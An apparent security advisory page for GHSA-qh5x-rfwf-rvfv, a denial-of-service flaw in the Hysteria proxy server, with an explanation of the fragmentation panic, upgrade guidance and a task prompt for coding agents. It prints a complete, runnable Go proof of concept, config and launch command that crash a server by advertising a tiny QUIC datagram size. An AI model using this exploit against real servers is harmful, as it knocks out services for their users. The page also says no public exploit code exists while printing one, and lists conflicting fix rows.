# GHSA-qh5x-rfwf-rvfv: Hysteria vulnerable to server crash when max_datagram_frame_size very small

> An authenticated client can crash the Hysteria server by advertising a small QUIC datagram size, causing a panic during UDP response fragmentation.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 26 Jun 2026
- **Also known as:** GO-2026-5807

## What is GHSA-qh5x-rfwf-rvfv?

GHSA-qh5x-rfwf-rvfv is a denial of service vulnerability in github.com/apernet/hysteria, published on 26 Jun 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.

### Details

The vulnerable path is the normal server-side UDP response path:

```text
udpSessionEntry.receiveLoop
  -> sendMessageAutoFrag
    -> frag.FragUDPMessage
```

In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:

```go
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
```

However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:

```go
maxPayloadSize := maxSize - m.HeaderSize()
```

If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:

```go
frag.Data = fullPayload[off : off+payloadSize]
```

### PoC

poc.yaml

```yaml
listen: 127.0.0.1:8443

tls:
  cert: poc_server.crt
  key: poc_server.key

auth:
  type: password
  password: udp-frag-panic-poc

masquerade:
  type: string
  string:
    content: nope
    statusCode: 404
```

poc.go

```go
//go:build poc

package main

import (
	"bytes"
	"context"
	"crypto/tls"
	"encoding/binary"
	"flag"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/url"
	"time"

	"github.com/apernet/quic-go"
	"github.com/apernet/quic-go/http3"
	"github.com/apernet/quic-go/quicvarint"
)

const (
	authHost = "hysteria"
	authPath = "/auth"
	authOK   = 233
)

func main() {
	server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	auth := flag.String("auth", "", "Hysteria auth/password")
	target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
	maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
	insecure := flag.Bool("insecure", true, "skip TLS verification")
	echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
	flag.Parse()

	if *auth == "" {
		panic("--auth is required")
	}
	if *echo {
		closeEcho := startUDPEcho(*target)
		defer closeEcho()
	}

	conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
	defer cleanup()

	msg := hysteriaUDPMessage(1, *target, []byte("X"))
	fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
		*target, udpHeaderSize(*target), len(msg), *maxDatagram)

	if err := conn.SendDatagram(msg); err != nil {
		panic(fmt.Errorf("send trigger datagram: %w", err))
	}
	fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")

	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	if _, err := conn.ReceiveDatagram(ctx); err != nil {
		fmt.Printf("[*] receive after trigger: %v\n", err)
	} else {
		fmt.Println("[!] received a response; try a smaller --max-datagram")
	}
}

func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
	serverAddr, err := net.ResolveUDPAddr("udp", server)
	if err != nil {
		panic(err)
	}
	udpConn, err := net.ListenUDP("udp", nil)
	if err != nil {
		panic(err)
	}

	transport := &quic.Transport{Conn: udpConn}
	var qconn *quic.Conn
	rt := &http3.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
		QUICConfig: &quic.Config{
			EnableDatagrams:      true,
			MaxDatagramFrameSize: maxDatagram,
			DisablePathManager:   true,
		},
		Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
			qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
			return qconn, err
		},
	}

	req := &http.Request{
		Method: http.MethodPost,
		Host:   authHost,
		URL:    &url.URL{Scheme: "https", Host: authHost, Path: authPath},
		Header: http.Header{},
		Body:   io.NopCloser(bytes.NewReader(nil)),
	}
	req.Header.Set("Hysteria-Auth", auth)
	req.Header.Set("Hysteria-CC-RX", "0")

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()
	resp, err := rt.RoundTrip(req.WithContext(ctx))
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	if resp.StatusCode != authOK {
		panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
	}
	if resp.Header.Get("Hysteria-UDP") == "false" {
		panic("server reports UDP disabled")
	}

	cleanup := func() {
		_ = rt.Close()
		_ = transport.Close()
		_ = udpConn.Close()
		if qconn != nil {
			_ = qconn.CloseWithError(0, "")
		}
	}
	return qconn, cleanup
}

func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
	buf := make([]byte, udpHeaderSize(addr)+len(data))
	binary.BigEndian.PutUint32(buf[0:4], sessionID)
	// PacketID=0, FragID=0, FragCount=1.
	buf[7] = 1
	i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
	i += copy(buf[i:], addr)
	copy(buf[i:], data)
	return buf
}

func udpHeaderSize(addr string) int {
	return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}

func startUDPEcho(addr string) func() {
	pc, err := net.ListenPacket("udp", addr)
	if err != nil {
		panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
	}
	fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())

	go func() {
		buf := make([]byte, 2048)
		for {
			n, raddr, err := pc.ReadFrom(buf)
			if err != nil {
				return
			}
			_, _ = pc.WriteTo(buf[:n], raddr)
		}
	}()
	return func() { _ = pc.Close() }
}
```

poc.sh
```bash
go run -tags poc ./poc_udp_frag_panic.go \
  --server 127.0.0.1:8443 \
  --auth udp-frag-panic-poc \
  --insecure \
  --target 127.0.0.1:19090 \
  --max-datagram 20
```

### Impact
Server crash

## Which versions are affected by GHSA-qh5x-rfwf-rvfv?

3 open source packages ship an affected version, including github.com/apernet/hysteria.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/apernet/hysteria` | Go | All versions | None |
| `github.com/apernet/hysteria` | Go | All versions | 2.9.2 |
| `github.com/apernet/hysteria` | Go | All versions | 2.9.2 |

## How do I fix GHSA-qh5x-rfwf-rvfv?

Upgrade github.com/apernet/hysteria to 2.9.2 or later.

## Is GHSA-qh5x-rfwf-rvfv being exploited?

There is no known exploitation of GHSA-qh5x-rfwf-rvfv in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-qh5x-rfwf-rvfv and fix it if it is affected.

What it is: GHSA-qh5x-rfwf-rvfv is a denial of service vulnerability in github.com/apernet/hysteria, published on 26 Jun 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-qh5x-rfwf-rvfv in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/apernet/hysteria (Go): affected all versions; no fix listed
- github.com/apernet/hysteria (Go): affected all versions; fixed in 2.9.2
- github.com/apernet/hysteria (Go): affected all versions; fixed in 2.9.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-qh5x-rfwf-rvfv/ (Markdown: https://insights.sbomify.com/GHSA-qh5x-rfwf-rvfv/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-qh5x-rfwf-rvfv

---
From sbomify Insights: https://insights.sbomify.com/GHSA-qh5x-rfwf-rvfv/
Summaries are generated and may contain mistakes; the official description above is the record.
